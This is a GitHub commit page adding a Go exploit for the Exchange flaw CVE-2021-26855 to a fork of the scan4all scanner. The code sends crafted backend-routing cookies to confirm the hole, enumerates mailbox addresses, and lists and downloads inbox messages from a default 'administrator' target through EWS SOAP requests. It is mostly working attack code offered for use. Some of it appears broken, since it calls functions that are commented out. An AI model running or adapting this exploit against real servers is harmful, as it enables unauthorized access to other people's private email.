forked from GhostTroops/scan4all
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
add CVE_2021_26855 exp 2022-07-19 18:06:1658225182
- Loading branch information
Showing
9 changed files
with
1,196 additions
and
221 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,336 @@ | ||
package ms | ||
|
||
import ( | ||
"bufio" | ||
"crypto/tls" | ||
"fmt" | ||
"io" | ||
"io/ioutil" | ||
"net/http" | ||
"os" | ||
"regexp" | ||
"strconv" | ||
"strings" | ||
"time" | ||
) | ||
|
||
//检测漏洞存在脚本 | ||
func Verify(targetUrl string) bool { | ||
tr := &http.Transport{ | ||
TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, | ||
} | ||
client := &http.Client{Transport: tr} | ||
|
||
req, _ := http.NewRequest("GET", targetUrl, nil) | ||
req.Header.Add("Cookie", "X-AnonResource=true; X-AnonResource-Backend=localhost/ecp/default.flt?~3; X-BEResource=localhost/owa/auth/logon.aspx?~3;") | ||
resp, _ := client.Do(req) | ||
defer resp.Body.Close() | ||
body, _ := ioutil.ReadAll(resp.Body) | ||
|
||
if strings.Contains(string(body), "NegotiateSecurityContext") { | ||
return true | ||
} else { | ||
return false | ||
} | ||
} | ||
|
||
// | ||
//func append16_1(v []byte, val uint16) []byte { | ||
// return append(v, byte(val), byte(val>>8)) | ||
//} | ||
// | ||
//func append32_1(v []byte, val uint16) []byte { | ||
// return append(v, byte(val), byte(val>>8), byte(val>>16), byte(val>>24)) | ||
//} | ||
|
||
//const ( | ||
// negotiateUnicode = 0x0001 // Text strings are in unicode | ||
// negotiateOEM = 0x0002 // Text strings are in OEM | ||
// requestTarget = 0x0004 // Server return its auth realm | ||
// negotiateSign = 0x0010 // Request signature capability | ||
// negotiateSeal = 0x0020 // Request confidentiality | ||
// negotiateLMKey = 0x0080 // Generate session key | ||
// negotiateNTLM = 0x0200 // NTLM authentication | ||
// negotiateLocalCall = 0x4000 // client/server on same machine | ||
// negotiateAlwaysSign = 0x8000 // Sign for all security levels | ||
//) | ||
|
||
//生成ntlm type1 | ||
//func Negotiate() []byte { | ||
// var ret []byte | ||
// flags := negotiateAlwaysSign | negotiateNTLM | requestTarget | negotiateOEM | ||
// | ||
// ret = append(ret, "NTLMSSP\x00"...) // protocol | ||
// ret = append32(ret, 1) // type | ||
// ret = append32(ret, uint16(flags)) // flags | ||
// ret = append16(ret, 0) // NT domain name length | ||
// ret = append16(ret, 0) // NT domain name max length | ||
// ret = append32(ret, 0) // NT domain name offset | ||
// ret = append16(ret, 0) // local workstation name length | ||
// ret = append16(ret, 0) // local workstation name max length | ||
// ret = append32(ret, 0) // local workstation name offset | ||
// ret = append16(ret, 0) // unknown name length | ||
// ret = append16(ret, 0) // ... | ||
// ret = append16(ret, 0x30) // unknown offset | ||
// ret = append16(ret, 0) // unknown name length | ||
// ret = append16(ret, 0) // ... | ||
// ret = append16(ret, 0x30) // unknown offset | ||
// | ||
// return ret | ||
//} | ||
|
||
//利用ntlm type2 获取有效信息 fqdn | ||
//func Ntlminfo(targetUrl string) (fqdn string, domain string) { | ||
// | ||
// //var fqdn string | ||
// | ||
// tr := &http.Transport{ | ||
// TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, | ||
// } | ||
// client := &http.Client{Transport: tr} | ||
// | ||
// req, _ := http.NewRequest("GET", targetUrl, nil) | ||
// req.Header.Add("Authorization", fmt.Sprintf("NTLM %s", base64.StdEncoding.EncodeToString(Negotiate()))) | ||
// req.Header.Add("Accept", "text/xml") | ||
// resp, _ := client.Do(req) | ||
// | ||
// reg1 := regexp.MustCompile(`[^NTLM].+;Negotiate\z`) | ||
// reg2 := regexp.MustCompile(`[^\s].+[^;Negotiate]`) | ||
// reg3 := regexp.MustCompile(`(\x03\x00.)(.+?)(\x05\x00)`) | ||
// reg4 := regexp.MustCompile(`\x03\x00.|\x05|\x00`) | ||
// reg5 := regexp.MustCompile(`(\x04\x00.)(.+?)(\x03\x00)`) | ||
// reg6 := regexp.MustCompile(`\x04\x00.|\x03|\x00`) | ||
// | ||
// for _, values := range resp.Header { | ||
// type2 := reg2.FindString(reg1.FindString(strings.Join(values, ";"))) | ||
// if type2 != "" { | ||
// decodeBytes, _ := base64.StdEncoding.DecodeString(reg2.FindString(type2)) | ||
// fqdn = reg4.ReplaceAllString(reg3.FindString(string(decodeBytes)), "") | ||
// domain = reg6.ReplaceAllString(reg5.FindString(string(decodeBytes)), "") | ||
// } | ||
// } | ||
// return | ||
//} | ||
|
||
func Postxml(targetUrl string, fqdn string, xmlcontent string) string { | ||
|
||
//urlProxy, _ := url.Parse("http://127.0.0.1:8080") | ||
tr := &http.Transport{ | ||
TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, | ||
// Proxy: http.ProxyURL(urlProxy), | ||
} | ||
client := &http.Client{Transport: tr} | ||
|
||
req, _ := http.NewRequest("POST", targetUrl, strings.NewReader(xmlcontent)) | ||
req.Header.Add("Cookie", fmt.Sprintf("X-BEResource=%s/EWS/Exchange.asmx?a=~1942062522;", fqdn)) | ||
req.Header.Add("Content-Type", "text/xml") | ||
//fmt.Println(req) | ||
resp2, _ := client.Do(req) | ||
//defer resp2.Body.Close() | ||
body2, _ := ioutil.ReadAll(resp2.Body) | ||
|
||
return string(body2) | ||
} | ||
|
||
func Userenumerate(targetUrl string, fqdn string, xmlcontent string, userfile string, domainneame string, stime int) { | ||
//fmt.Println(userfile) | ||
ufile, err := os.Open(userfile) | ||
if err != nil { | ||
fmt.Println("文件错误") | ||
os.Exit(0) | ||
} | ||
defer ufile.Close() | ||
|
||
fmt.Println("正确邮箱地址:\n") | ||
|
||
br := bufio.NewReader(ufile) | ||
for { | ||
name, _, c := br.ReadLine() | ||
if c == io.EOF { | ||
fmt.Println("\n完成。") | ||
break | ||
} | ||
if strings.Contains(string(name), "@") { | ||
str := Postxml(targetUrl, fqdn, fmt.Sprintf(xmlcontent, string(name))) | ||
if strings.Contains(str, string(name)) { | ||
//fmt.Println(fmt.Sprintf("邮箱地址 %s 不正确", string(name))) | ||
} else { | ||
fmt.Println(string(name)) | ||
} | ||
} else { | ||
address := fmt.Sprintf("%s@%s", string(name), domainneame) | ||
str := Postxml(targetUrl, fqdn, fmt.Sprintf(xmlcontent, address)) | ||
if strings.Contains(str, string(name)) { | ||
//fmt.Println(fmt.Sprintf("邮箱地址 %s 不正确", address)) | ||
} else { | ||
fmt.Println(address) | ||
} | ||
} | ||
time.Sleep(time.Duration(stime) * time.Second) | ||
} | ||
} | ||
|
||
func makefile1(fileName string, conntent string) { | ||
|
||
f, err := os.Create(fileName) | ||
defer f.Close() | ||
if err != nil { | ||
fmt.Println(err.Error()) | ||
} else { | ||
_, _ = f.Write([]byte(conntent)) | ||
} | ||
} | ||
|
||
func CheckExchange(host *string) []string { | ||
var maddress string | ||
filepath := "" // 选填,需要枚举的用户列表 | ||
stime := "1" // 选填,请求延迟时间 | ||
desfqnd := "" // 选填,需要指定 FQND 事填写 | ||
emailadd := "administrator" // 选填,指定目标 | ||
list := true // 选填,列出邮件列表 | ||
downl := false // 选填,下载邮件 | ||
|
||
targetUrl := fmt.Sprintf("https://%s/owa/auth/temp.js", *host) | ||
ewsUrl := fmt.Sprintf("https://%s/ews/exchange.asmx", *host) | ||
postUrl := fmt.Sprintf("https://%s/ecp/temp.js", *host) | ||
sleep_time, _ := strconv.Atoi(stime) | ||
|
||
fmt.Println("检测漏洞存在中...") | ||
aRst := []string{} | ||
if Verify(targetUrl) == true { | ||
aRst = append(aRst, fmt.Sprintf("发现漏洞 CVE-2021-26855: %s", targetUrl)) | ||
fmt.Println(aRst[len(aRst)-1:]) | ||
} else { | ||
fmt.Println("漏洞不存在...END") | ||
return aRst | ||
} | ||
|
||
mailnum := `<?xml version="1.0" encoding="utf-8"?> | ||
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" | ||
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" | ||
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" | ||
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> | ||
<soap:Body> | ||
<m:GetFolder> | ||
<m:FolderShape> | ||
<t:BaseShape>Default</t:BaseShape> | ||
</m:FolderShape> | ||
<m:FolderIds> | ||
<t:DistinguishedFolderId Id="inbox"> | ||
<t:Mailbox> | ||
<t:EmailAddress>%s</t:EmailAddress> | ||
</t:Mailbox> | ||
</t:DistinguishedFolderId> | ||
</m:FolderIds> | ||
</m:GetFolder> | ||
</soap:Body> | ||
</soap:Envelope>` | ||
|
||
maillist := `<?xml version='1.0' encoding='utf-8'?> | ||
<soap:Envelope | ||
xmlns:soap='http://schemas.xmlsoap.org/soap/envelope/' | ||
xmlns:t='http://schemas.microsoft.com/exchange/services/2006/types' | ||
xmlns:m='http://schemas.microsoft.com/exchange/services/2006/messages' | ||
xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'> | ||
<soap:Body> | ||
<m:FindItem Traversal='Shallow'> | ||
<m:ItemShape> | ||
<t:BaseShape>AllProperties</t:BaseShape> | ||
</m:ItemShape> | ||
<m:IndexedPageItemView MaxEntriesReturned="5" Offset="0" BasePoint="Beginning" /> | ||
<m:ParentFolderIds> | ||
<t:DistinguishedFolderId Id='inbox'> | ||
<t:Mailbox> | ||
<t:EmailAddress>%s</t:EmailAddress> | ||
</t:Mailbox> | ||
</t:DistinguishedFolderId> | ||
</m:ParentFolderIds> | ||
</m:FindItem> | ||
</soap:Body> | ||
</soap:Envelope>` | ||
|
||
download := `<?xml version="1.0" encoding="utf-8"?> | ||
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" | ||
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" | ||
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" | ||
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> | ||
<soap:Body> | ||
<m:GetItem> | ||
<m:ItemShape> | ||
<t:BaseShape>AllProperties</t:BaseShape> | ||
<t:BodyType>Text</t:BodyType> | ||
</m:ItemShape> | ||
<m:ItemIds> | ||
<t:ItemId Id="%s" ChangeKey="%s" /> | ||
</m:ItemIds> | ||
</m:GetItem> | ||
</soap:Body> | ||
</soap:Envelope>` | ||
|
||
fqndstr, domainstr := Ntlminfo(ewsUrl) | ||
|
||
if "" != fqndstr { | ||
aRst = append(aRst, fmt.Sprintf("目标 FQND 为: %s", fqndstr)) | ||
fmt.Println(aRst[len(aRst)-1:]) | ||
} | ||
if filepath != "" { | ||
Userenumerate(postUrl, fqndstr, mailnum, filepath, domainstr, sleep_time) | ||
} | ||
|
||
if desfqnd != "" { | ||
fqndstr = desfqnd | ||
} | ||
|
||
if strings.Contains(emailadd, "@") { | ||
maddress = emailadd | ||
} else { | ||
maddress = fmt.Sprintf("%s@%s", emailadd, domainstr) | ||
} | ||
|
||
str := Postxml(postUrl, fqndstr, fmt.Sprintf(mailnum, maddress)) | ||
//fmt.Println(str) | ||
|
||
if strings.Contains(str, maddress) { | ||
fmt.Println(fmt.Sprintf("邮件地址 %s 不正确,请重新输入", maddress)) | ||
} else if strings.Contains(str, "Success") { | ||
reg01 := regexp.MustCompile(`(<t:TotalCount>)(.+)(</t:TotalCount>)`) | ||
reg02 := regexp.MustCompile(`<t:TotalCount>|</t:TotalCount>`) | ||
mnum := reg02.ReplaceAllString(reg01.FindString(str), "") | ||
aRst = append(aRst, fmt.Sprintf("用户 %s 邮箱中收件箱 Inbox 中邮件数量为: %d", maddress, fqndstr)) | ||
fmt.Println(aRst[len(aRst)-1:]) | ||
if list == true { | ||
if mnum != "0" { | ||
contents := Postxml(postUrl, fqndstr, fmt.Sprintf(maillist, maddress)) | ||
|
||
reg_id := regexp.MustCompile(`(?:t\:ItemId\sId=")(.+?)(?:")`) | ||
reg_key := regexp.MustCompile(`(?:t\:ItemId\sId=".+?"\sChangeKey=")(.+?)(?:")`) | ||
reg_sub := regexp.MustCompile(`(?:<t:Subject>)(.+?)(?:</t:Subject>)`) | ||
|
||
id := reg_id.FindAllStringSubmatch(contents, -1) | ||
key := reg_key.FindAllStringSubmatch(contents, -1) | ||
subject := reg_sub.FindAllStringSubmatch(contents, -1) | ||
|
||
for i := 0; i < 5; i++ { | ||
fmt.Println("---------") | ||
aRst = append(aRst, fmt.Sprintf("ID :%d\nItemId: %v\nkey: %v\n邮件标题:%s", i+1, id[i][1], key[i][1], subject[i][1])) | ||
fmt.Println(aRst[len(aRst)-1:]) | ||
} | ||
|
||
if downl == true { | ||
for i := 0; i < 5; i++ { | ||
fmt.Println("正在下载第 ", i, " 份邮件") | ||
contentd := Postxml(postUrl, fqndstr, fmt.Sprintf(download, id[i][1], key[i][1])) | ||
makefile1(fmt.Sprintf("./ID-%v.xml", i+1), contentd) | ||
} | ||
fmt.Println("下载完成") | ||
} | ||
|
||
} else { | ||
fmt.Println("目标邮箱无邮件!") | ||
} | ||
} | ||
} else { | ||
fmt.Println("默认 FQND 无效请更换其他服务器") | ||
} | ||
return aRst | ||
} |
Oops, something went wrong.